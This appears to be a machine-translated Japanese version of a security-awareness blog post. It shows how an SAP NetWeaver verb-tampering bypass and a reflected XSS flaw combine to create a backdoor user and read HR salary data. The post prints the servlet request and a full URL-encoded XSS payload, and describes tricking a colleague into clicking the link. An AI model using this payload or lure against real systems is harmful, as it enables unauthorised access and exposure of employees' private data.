免責事項 :これはHabréの最初の公式投稿です(これが最後ではないことを願っています)。最も重要なトピックの1つを強調することから始めたいと思います。 この投稿の情報は、セキュリティ問題の重要性を理解して実証するためのものです。 この記事では、2つの非常に古い脆弱性を使用しました。 システムがパッチで定期的に更新される場合、このようなシナリオは不可能です。
したがって、人事部門の従業員のみが給与データにアクセスできます。 SAP GUIにアクセスしていて、給与に関するデータを表示するためにトランザクションを開始しようとしても、99%の確率で拒否されます。
アクセスできませんが、給与を確認したいです。 SAPのエクスプロイトを監視します。 エクスプロイトにはどのようなツールがありますか? そう、Metasploit。 Google。 ええ、githubにはパパmetasploit-framework / modules / auxiliary / scanner / sap /があります。 ただし、3ダースのエクスプロイト:
ここで、たとえば、「動詞改ざんによる認証バイパス」(モジュール/補助/スキャナー/ sap / sap_ctc_verb_tampering_user_mgmt.rb)、彼らは Habréでそれについて書きました。
簡単に言うと、この脆弱性の本質は、SAP NetWeaverパッケージに含まれているJavaサーバーの管理サービスの1つが、(禁止されたGETおよびPOST要求ではなく)HEAD要求によってアクセス可能であることです。 github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rbを開くと、問題がサーブレットにアクセスしていることがわかります。
/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']
もちろん、Metasploitをインストールして、ローカルコンピューターからスクリプトを実行できます。 しかし:
1.ローカルネットワークへのアクセスがなく、サービスは外部からのアクセスに対して閉じられている可能性が高い
2.スクリプトがユーザーに代わって実行されます
それでは、a)sap_ctc_verb_tampering_user_mgmt.rbコードに基づいて自分でスクリプトを作成しますb)誰かにXSSエラーの1つを使用してこのスクリプトを実行させます
HabréでのXSSについては、すでに何度も書かれています( habrahabr.ru/post/66057 2 habrahabr.ru/post/197672を一度読んでください )
google securityfocusに移動します。 クエリ「sap xss exploit site:http://www.securityfocus.com/」では、359件の結果が得られます。
www.securityfocus.com/bid/15361/exploitによると、ユーザーのコンピューターでJavascriptを実行するリクエストがあります。
www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E
ダミーの代わりに、/ ctc / ConfigServletにHEADリクエストを挿入します
また、誰もクエリの結果を見ることができないように、常にシールを付けてユーザーに写真を表示します。
URLでエンコードした後の最終リンクは次のようになります。
www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd= %3Cscript%3Evar%20http%20%3D%20new%20XMLHttpRequest()%3Bhttp.open(%27HEAD%27%2C%20%22http%3A%2F%2Fxxxxx%2Fctc%2FConfigServlet%3Fparam%3Dcom.sap.ctc.util.UserConfig%3BCREATEUSER%3BUSERNAME%3Dtest444%2CPASSWORD%3DPassword01%22)%3Bhttp.send()%3Bwindow.location.href%20%3D%20%27http%3A%2F%2Fru.fishki.net%2Fpicsw%2F042007%2F02%2Fflash%2Fcat.swf%27%3B%3C%2Fscript%3E%20
それで、同僚に手紙を書いています。
Nina Ivanovnaはフラッシュゲームをプレイします。
そして、ユーザーtest444を取得します。このユーザーは(NetWeaver ABAPがユーザーソースとしてアクティブ化されている場合)NetWeaver Application Server Javaサーバーだけでなく、バックエンドであるNetWeaver Application Server ABAPでも作成されます。
ログインして確認してください。 HRモジュールトランザクションは機能します!
結論 2011年と2009年に2つの脆弱性を使用しました。 システムがパッチで定期的に更新される場合、このようなシナリオは不可能です。 残念ながら、多くのベンダーは、 service.sap.com / securitynotesを定期的にチェックして最新のパッチをチェックすることを忘れているか、不規則に行っています。 2010年以降、SAPはセキュリティパッチが大量にリリースされる毎月第2火曜日にセキュリティパッチデーを開催しています。 SAPは、パッチの日付から少なくとも3か月間発見された脆弱性に関する情報を公開または開示しないようパートナーに依頼します。 ただし、調査では、多くの(大規模を含む)顧客が3か月以内に更新プログラムを常にインストールするとは限りません。
著者-ダニエル・ルージン
SAP CIS LLCのコンサルティング部門
コスモダミアン堤防 52 / 7、113054モスクワ
T. +7 495 755 9800 ext。 3045
M. +7 926 452 0425
F. +7 495 755 98 01
更新:一部の人々は、その本質を理解するためにタイトルを超えて記事を読みたくありませんでした。 誰も誤解しないように、投稿の内容を反映してタイトルを変更することにしました。